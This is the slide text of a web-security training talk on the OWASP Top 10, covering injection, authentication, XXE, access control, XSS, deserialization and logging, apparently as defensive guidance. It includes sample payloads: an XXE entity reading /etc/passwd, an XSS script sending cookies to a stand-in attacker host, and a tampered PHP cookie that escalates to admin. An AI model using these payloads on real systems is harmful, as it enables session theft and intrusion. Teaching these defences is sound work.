  • 13. Avoid the interpreter entirely Use an interface that supports bind variables (e.g., prepared statements, or stored procedures) Bind variables allow the interpreter to distinguish between code and data Encode all user input before passing it to the interpreter Always perform ‘white list’ input validation on all user supplied input ALWAYS minimize DB privileges to reduce the impact of a flaw
  • 15. Broken Authentication and Session Management HTTP is a ‘stateless’ protocol This means credentials have to go with every request We should be using SSL for EVERYTHING requiring authentication
  • 16. Session Management flaws SESSION ID is used to 
 track state since HTTP 
 doesn’t It’s just as good as 
 credentials to an 
 attacker SESSION ID is typically exposed on the network, in browser, in logs, ……..
  • 17. Beware the side-doors! Change my password, remember my password, forgot my password, secret question, logout, email address, etc… User accounts compromised or user sessions hijacked
  • 18. 1. User sends credentials 2. Site uses URL writing
 (i.e., puts session in URL) www.hooli.com? JSESSIONID=9AF7AF05 3. Attacker creates a post on a forum or some other shared media with a link to a domain they control (watercooler attack)
  • 19. 4. User clicks on that link: 
 http://www.nefarioussite.com 5. Hacker checks referrer logs and find user’s JSESSIONID 6. Hacker uses JSESSIONID and takes over victim’s account
  • 20. AVOIDING Broken Auth Verify your architecture Authentication should be simple, centralized, and standardized Use the standard session id provided by your container Be sure SSL protects both credentials and session id at all times
  • 21. AVOIDING Broken Auth and Session Management Verify the implementation Examine all the authentication-related functions Verify that logoff actually destroys the session
  • 22. Forgot Password Secure Design Require identity questions Last name, account number, email, DOB Enforce lockout policy Ask one or more good security questions https://www.owasp.org/index.php/ Choosing_and_Using_Security_Questions_Cheat_She et
  • 23. Forgot Password Secure Design Send the user a randomly generated token email, SMS Verify code in same web session Enforce lockout policy, make ‘em start over (new token) Change password Enforce lockout policy
  • 24. 3. Sensitive Data Exposure
  • 25. What might this look like? Site doesn’t enforce TLS for all pages, or supports weak encryption. Attacker monitors network, downgrades connections from HTTPS to HTTP (wifi hacking, anyone?), sniffs traffic, gets session cookie. Attacker replays the cookie, hijacks the authenticated session
  • 26. What else might it look like? CC numbers are stored using automatic DB encryption Attacker exploits a SQL injection flaw and requests data The DB decrypts the data and displays all the CC numbers to the attacker
  • 27. How do we stop it? Encrypt all data in transit PFS (perfect forward secrecy) ciphers make the server choose the cipher (sorry, grandpa) Enforce encryption with HTTP Strict Transport Security (HSTS)
  • 28. How do we stop it? Encrypt all sensitive data at rest Disabling caching for responses that contain sensitive data Don’t store the data if you don’t have to Take on Data Classification and apply controls around the sensitive stuff
  • 29. 4. XML External Entities (XXE)
  • 30. XML? Wait…..Wat?? When did you last update your XML libraries? Right? XML = designed to store and transport data
  • 31. XML External Entities (XXE) <?xml version=“1.0” encoding=“ISO-8859-1”?>
 <!DOCTYPE foo [
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM “file:/../../etc/passwd” >]>
 <foo>&xxe;</foo> <!ENTITY xxe SYSTEM “https://192.168.1.1/private" >]> <ENTITY xxe SYSTEM “file:/../../dev/random” >]>
  • 32. How to fix XXE Skip XML, go with JSON Patch XML processors, update SOAP to SOAP 1.2 or better Whitelist server-side input validation/ sanitization
  • 33. 5. Broken Access Control
  • 34. Controlling Access if ((user.isManager() || user.isAdministrator() || user.isEditor()) && (user.id() != 1132)) {
 //execute action
 } How would you change this policy? Is this scaleable?
  • 35. Exploiting Broken Access Controls Unverified SQL: pstmt.setString(1, request.getParameter(“acct”));
 ResultSet results = pstmt.executeQuery();
 http://foobar.com/app/accountinfo?acct=wrongaccount
  • 36. Exploiting Broken Access Controls Creative browsing: http://example.com/app/getappinfo http://example.com/app/admin_getappinfo
  • 37. Fixing Broken Access Controls Fix it once, reuse it Disable server directory listing, keep backups off the server Deny by default if not a public resource Rate limit API and controller access Log access control failure, alert admins
  • 39. Security Misconfiguration Do you have a process for keeping
 all software up to date? OS? Web 
 server? DMBS? Apps? Code 
 Libraries? Is everything unnecessary disabled,
 removed, or not installed? (ports, services, pages, accounts, privs) Are default passwords changed or disabled? Is error handling set up to prevent stack traces and other info from informative error messages from leaking? Are the security settings in your development frameworks (e.g. Struts, Spring, ASP.NET) and libraries understood and configured properly?
  • 40. Preventing Security Misconfiguration Have a repeatable hardening process that makes it fast and easy to deploy an environment that is locked down. Dev, QA, Prod environments should be identical. Automate this. Have a process to keep abreast of and deploying software updates and patches. Needs to include code libraries. Have a strong application architecture that provides good separation and security between components Run scans and do audits periodically to help detect future misconfigs or missing patches.
  • 41. Preventing Security Misconfiguration Can you “dump” the application configuration? Build reporting into the process If you can’t verify it, it isn’t secure “Trust is good. Control is better”
 —Joe S.
  • 43. Should really be called “JavaScript Injection”
  • 44. Anatomy of an XSS Attack You and I are both logged in, I’m a user, you’re the admin. <script>var img = new Image();img.src=‘https://evilsean.com/ scripts/data=' + document.cookie;
 </script>
  • 45. Anatomy of an XSS Attack Basic site defacement <script>document.body.innerHTML=‘<marqu ee>if she is no-one she has nothing to fear</marquee>’;</script>
  • 46. What else can XSS do? Steal data from the webpage Track keystrokes Keystroke logging redirect user (phishing attack) session hijacking site defacement network scanning undermining CSRF defenses Load remotely hosted content (large scripts) and more….
  • 47. XSS Defense by Data Type and Context DATA TYPE CONTEXT DEFENSE String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLS, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML Sanitizer Any DOM DOM XSS Cheat Sheet Untrusted Javascript Any Sandboxing JSON Client Parse Time JSON.parse() or json2.js
  • 48. <
  • 49. &lt;
  • 50. Output encoding The browser doesn’t see code, it just displays the ‘less than’ symbol XSS happens in your user interface As a developer, you want a way to accept user input but not allow the user to enter JavaScript
  • 52. Insecure Deserialization Apps and APIs are vulnerable if they deserialize hostile or attacker-tampered objects
  • 53. Insecure Deserialization Example 1 React app calls a set of Spring Boot microservices Programmers serialize user state, pass it Attacker notices “ROO” Java object sig, uses Java Serial Killer Attacker gains remote code exec
  • 54. Insecure Deserialization Example 2 PHP object serialization saving ‘super’ cookie Cookie contains user ID, role, password hash, etc.:
 a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s: 4:"user"; i:3;s: 32:"b6a8b3bea87fe0e05022f8f3c88bc960";} Attacker changes the serialized object:
 a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s: 5:"admin"; i:3;s: 32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
  • 55. Preventing Insecure Deserialization Don’t accept serialized objects from untrusted sources Use serialization mediums that only permit primitive data types Integrity checks Enforce strict type constraints during deserialization before object creation (bypassable - don’t rely on this) Isolate and run code that deserializes in low privilege environments
  • 56. 9. Using Known Vulnerable Components
  • 57. Using Known Vulnerable Components Some vulnerable components (e.g. framework libraries) can be identified (and exploited) with automated tools This expands the threat pool beyond targeted attackers to chaotic actors
  • 58. Using Known Vulnerable Components Virtually every application has these issues because most development teams don’t focus on insuring their components/libraries are up to date Often developers don’t know all the components they’re using, never mind versions. Component dependencies make things even worse.
  • 59. Avoiding Using Known Vulnerable Components Build your own libraries! (not often practical) Automate checks for libraries being out of date Periodically check by hand Check CVE, other vuln repositories Update / Patch anything you find
  • 61. Insufficient Logs and Monitoring Nearly EVERY major cyber incident starts with insufficient logging and monitoring In 2016, breach identification took an average of 191 days (over 6 months)
  • 62. Insufficient Logs and Monitoring Logins, failed logins, high- value transactions not logged Warnings and errors generate no, inadequate, or unclear logs Logs of apps and APIs are not monitored Logs are stored locally
  • 63. How are we doing? Check the logs after a pentest. The testers’ actions should be recorded sufficiently to understand what damages may have been inflected
  • 64. What Should We Log and Monitor? Logins Access Control Failures Server-side input validation failures Keep enough user context to identify suspicious or malicious accounts Hold the logs enough for forensic analysis
  • 65. What Should We Log and Monitor? Make sure logs are generated in a format easily consumed by log management solutions (SEIM/splunk/OSSEC/etc) Establish effective monitoring and alerting Establish Incident Response / Recovery Plan
  • 66. ?